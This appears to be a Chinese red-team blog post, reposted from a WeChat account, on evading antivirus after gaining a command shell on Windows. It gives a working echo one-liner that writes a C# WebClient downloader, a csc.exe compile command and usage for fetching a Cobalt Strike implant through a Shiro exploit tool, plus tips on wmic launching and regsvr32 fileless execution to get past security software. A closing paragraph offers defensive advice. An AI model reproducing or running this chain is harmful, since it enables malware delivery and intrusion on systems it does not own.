被困死的战场
当你在渗透测试中好不容易拿到cmdShell(比如通过sqlmap的os-shell或小马上传),却发现目标机器:
☠️ 360全家桶
☠️ ESET
☠️ 火绒
☠️ Defender
☠️ 所有系统命令下载通道被锁死(certutil/bitsadmin/powershell全跪)
☠️ 连certutil 的 base64 decode都被精准拦截时...
这时候怎么办?今天教你在不依赖任何第三方工具的情况下,用Windows自带的.NET环境杀出血路!
为什么选择用C#?
▶️ 生存法则:所有Windows系统自带csc.exe编译器(.NET Framework组件)
▶️ 兼容性:.NET 2.0可覆盖Win7到Win11所有版本
▶️ 免杀优势:白名单程序编译产生的exe文件天然可信
实战四步曲
🔑 STEP 1 代码生成(echo大法)
echo using System; using System.Net; using System.Text; >a.txt & echo class Program { static void Main(string[] a) { >>a.txt & echo try { string url = Encoding.UTF8.GetString(Convert.FromBase64String(a[0])); >>a.txt & echo new WebClient().DownloadFile(url, a[1]); Console.Write("1"); } catch { } } } >>a.txt
🛠️ STEP 2 极速编译
C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe /target:exe /out:C:download.exea.txt
🚀 STEP 3 参数技巧
下载成功后会输出“1”
download.exe [Base64URL] [保存路径]
🔥 STEP 4 实战
通过shiro利用工具进行下载CS马
个人的经验
-
1. 遇到360拦截父进程?试试用wmic启动进程! -
2. 写入失败检查:系统临时目录权限/磁盘空间是否足够 -
3. 编译报错必查:是否误用高版本.NET导致兼容问题 -
4. 组合拳:配合regsvr32执行无文件落地攻击 -
5. Windows中,.NET 的「可玩性」非常高,大家可以深入研究探索
结语
「绕过杀软」的本质可以理解为「加白」,「绕过」是攻击者与防御方在「可见性」与「隐蔽性」之间的终极博弈。通过内存加载、流量伪装、合法工具链劫持等技术,攻击者将恶意行为消弭于系统“盲区”——不落地的文件、不留痕的下载、不触警的执行,每一步都在试探传统杀软基于静态规则与文件监控的边界。
这种对抗揭示了一个残酷现实:依赖单一防护维度的时代已终结。防御者需将视线从“文件是否存在恶意”转向“行为是否偏离常态”——从内存中非授权程序集的动态加载,到网络层隐蔽通道的异常流量,再到进程间非常规的调用关系,均需纳入实时分析的范畴。
原文始发于微信公众号(炽影安全):当杀软封死所有下载通道时 红队如何用系统自带组件杀出重围?
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论